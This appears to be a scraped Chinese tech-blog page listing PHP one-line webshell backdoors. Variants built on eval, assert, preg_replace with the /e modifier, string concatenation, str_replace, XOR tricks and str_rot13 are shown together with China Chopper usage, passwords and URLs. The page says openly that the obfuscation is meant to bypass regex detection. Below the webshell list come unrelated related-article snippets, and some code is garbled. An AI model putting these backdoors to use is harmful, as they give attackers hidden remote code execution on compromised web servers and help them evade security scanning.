一.eval
eval用法:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
1 <?phpeval($_POST[password]);?>
二.assert
Assert用法:
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的,assert的用法却更详细一点 。
assert_option()可以用来对assert()进行一些约束和控制

默认值:

1 2 3 4 5 ASSERT_ACTIVE=1//Assert函数的开关 ASSERT_WARNING=1//当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertion ASSERT_BAIL=2881064151//是否要中止运行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否启动回调函数 user function to call on failed assertions

可以通过以上方法修改assert后门,达到绕过正则:

1 <?phpassert($_POST[password]);?>

三.变形一句话:

1 <?php$_GET['xxoo']($_POST['cmd']);?>

客户端用菜刀,密码cmd,url为test.php?xxoo=assert

1 <?php$_POST['xxoo']($_POST['cmd']);?>

这个是直接发post数据包就OK。

1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>

1 <?php($_=@$_GET[password]).@$_($_POST[xxoo])?>
利用方法:http://localhost/password.php?password=asstrt
原理就是get传递参数assert然后形成@asserT@($_($_POST[xxoo])
1 <?php$_POST['password']($_POST['cmd']);?

提交post内容形成assert,eval。

四.通过str_replace替换

$a = str_replace(x,””,”axsxxsxexrxxt”)

最后要形成的是$a = assert

五.

1 2 3 <?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?>
谈谈这个后门吧,这个是用e修饰符,只需要e所在的位置跟最后的”error”正则匹配正确就会$_POST[‘h’]的内容。
那么我们只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,让h参数执行。

六.

1 2 3 4 5 6 7 <?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${'_'.$_}['_'](${'_'.$_}['__']);?>
菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])
密码:xxoo
原理分析你只需要让$_拼接打印即可。

七.

1 2 3 <?php ($b4dboy=$_POST['1'])&&@preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)','add'); ?>
‘@’.str_rot13(‘riny’)相当于@eval,然后你懂的。
其实大都数原理都是如此,加了变形,解析后依然是原装语句eval,assert。

assert_option()可以用来对assert()进行一些约束和控制的更多相关文章

  1. 【php】assert函数的用法

    [php]assert函数的用法 http://www.douban.com/note/217557007/ 2012-06-01 10:32:37   assert这个函数在php语言中是用来判断一 ...

  2. assert函数的用法

    assert这个函数在php语言中是用来判断一个表达式是否成立.返回true or false; 例如: <?php $s = 123; assert("is_int($s)" ...

  3. preg_match()//explode()// 输出函数//assert()//trim()

    1.preg_match() 这是一个正则表达式匹配的函数,其用法如下: 查找文本字符串"php": <?php //模式分隔符后的"i"标记这是一个大小 ...

  4. swift的类型约束

    关键词: 类型与功能绑定.类型指定.访问控制. 类型约束的本质: 1.是否强制指定具有某些特征的类型:看类型构造器的定义本身是否对类型有约束: 2.访问控制:类型构造器的功能分为通用功能和约束功能: ...

  5. FPGA管脚约束

    Edit → language templates : 打开即可查看基本语法. 一.xilinx中的约束文件 1.约束的分类 利用FPGA进行系统设计常用的约束主要分为3类. (1)时序约束:主要用于 ...

  6. UCF约束介绍

    约束 (一)约束的分类: 利用FPGA进行系统设计常用的约束主要分为3类. (1)时序约束:主要用于规范设计的时序行为,表达设计者期望满足的时序条件,知道综合和布局布线阶段的优化算法等. (2)布局布 ...

  7. CLP(FD)有限域上的约束逻辑式编程

    译自http://www.pathwayslms.com/swipltuts/clpfd/clpfd.html#_simple_constraints,SWI-Prolog官网所推荐的进阶教程.目前还 ...

  8. C/C++ 笔试题

    /////转自http://blog.csdn.net/suxinpingtao51/article/details/8015147#userconsent# 微软亚洲技术中心的面试题!!! 1.进程 ...

  9. C/C++笔试题(很多)

    微软亚洲技术中心的面试题!!! .进程和线程的差别. 线程是指进程内的一个执行单元,也是进程内的可调度实体. 与进程的区别: (1)调度:线程作为调度和分配的基本单位,进程作为拥有资源的基本单位 (2 ...

随机推荐

  1. WDCP突破phpmyadmin导入文件时只有20M

    WDCP在默认的配置下,PHPMYADMIN的上传上限是20M,很多时候我们的数据库大小已经大于了20M了,那这时候改怎么办呢?下面就用简单的话,告诉大家如何解决这一个问题.方法: 登录到WDCP的后 ...

  2. jsonp 自己写的一个例子

    function test(){ alert("13"); $.ajax({ type : "GET", async:false, url : "ht ...

  3. HTTP响应消息中的状态代码

  4. JavaScript方法——call和apply

    1.相同点: a) 产生的效果或作用完全相同: b) 至少有一个参数: c) 第一个参数必须有且是一个对象(Object),因为就是这个家伙偷懒. 2.不同点: 传递参数的方式. 前提: 1.有两个对 ...

  5. MySQL学习笔记(2/2)

    SQL种类 DDL/DML/DQL/DCL 中括号[]里面的表示可选,大括号{}里面的表示必须从里面选一个,FEILED表示字段. 数据定义语言(DDL):CREATE.DROP.ALTER 用于定义 ...

  6. linux 汇编

    nasm的语法和大学教材上8086的汇编伪指令有些差别,指令都是一样的. 编辑器就是普通的编辑器,vim,emacs,gedit,kate源文件类型为ascii码的plain text 编译用gcc或 ...

  7. asp.net ajax 调用后台方法

    js代码 <form id="form1" runat="server"> <script language=javascript type= ...

  8. iOS开发多线程篇 — GCD的常见用法

    一.延迟执行 1.介绍    iOS常见的延时执行有2种方式 (1)调用NSObject的方法 [self performSelector:@selector(run) withObject:nil ...

  9. javascript 核心语言笔记- 2 语法结构

    字符集 JavasSript 程序是用 Unicode 字符集 编写的,Unicode 是 ASCII 和 Latin-1 的超集,支持几乎所有在用的语言.ECMAScript 3 要求 JavaSc ...

  10. 简单Java算法程序实现!斐波那契数列函数~

    java编程基础--斐波那契数列 问题描述:一只青蛙一次可以跳上1级台阶,也可以跳上2级.求该青蛙跳上一个n级的台阶总共有多少种跳法. 思路:可能出现的情况:(1) n=1 ,一种方法 ;(2)n=2 ...